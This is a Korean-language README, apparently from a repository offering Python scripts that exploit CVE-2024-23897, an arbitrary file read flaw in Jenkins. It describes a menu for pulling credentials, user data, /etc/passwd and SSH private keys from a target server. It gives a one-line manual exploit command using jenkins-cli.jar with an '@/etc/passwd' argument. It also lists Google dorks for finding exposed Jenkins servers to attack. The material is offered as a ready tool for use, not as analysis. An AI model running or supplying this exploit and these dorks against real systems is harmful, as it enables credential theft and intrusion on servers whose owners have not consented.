pulentoski/cve-2024-23897-arbitrary-file-read파이썬으로 작성된 CVE-2024-23897 취약점 자동화 스크립트
영향을 받는 버전:
파이썬으로 작성된 CVE-2024-23897 취약점 자동화 스크립트 🤖 🛠️
이 Python 코드는 Jenkins 서버의 특정 취약점(CVE-2024-23897)을 위한 스캐너를 제공합니다. 사용자에게 Jenkins 서버의 URL을 입력하도록 요청한 후, Jenkins와 명령줄에서 상호 작용하는 데 필요한 "jenkins-cli.jar" 파일을 다운로드하는 옵션을 제공합니다. 그런 다음 서버 정보, 환경 정보, Jenkins 설정 정보, 사용자 정보, 자격 증명 정보를 가져오거나 "/etc/passwd", "/etc/os-release", "id_rsa"와 같은 민감한 파일을 읽는 명령을 실행할 수 있는 메뉴를 표시합니다. 메뉴에서 옵션을 선택하면 해당 명령이 지정된 Jenkins 서버에서 실행됩니다. 코드는 파일을 다운로드하고 명령을 실행하는 함수와 프로그램 흐름을 관리하는 메인 함수로 구성되어 있습니다.
Jenkins 서버 실행 📝:
python3 CVE-2024-23897-A-scaner.py
DOCKER 환경의 Jenkins 서버 실행 📝:
python3 CVE-2024-23897-B-DOCKER-scaner.py
---------------------------------------------------------------------------------------------------------------------------------
수동 실행.
1- jenkins-cli.jar 다운로드 : http:///jnlpJars/jenkins-cli.jar
2- LFI를 수행하려면 다음을 실행하세요: java -jar jenkins-cli.jar -s http://172.17.0.2:8080/ -http connect-node "@/etc/passwd"
dork 목록:
intitle:"Dashboard [Jenkins]" inurl:"/login"
intitle:"Jenkins" "Dashboard"
inurl:"/computer/" intitle:"Jenkins"
inurl:"/script" intitle:"Jenkins"
"Jenkins [Jenkins]" intitle:"Login"
intitle:"Jenkins" "Jenkins ver. 2.441"
inurl:"/manage" intitle:"Jenkins"
site:.com intitle:"Jenkins"
site:aws.amazon.com intitle:"Jenkins"
filetype:xml inurl:"jenkins/config.xml"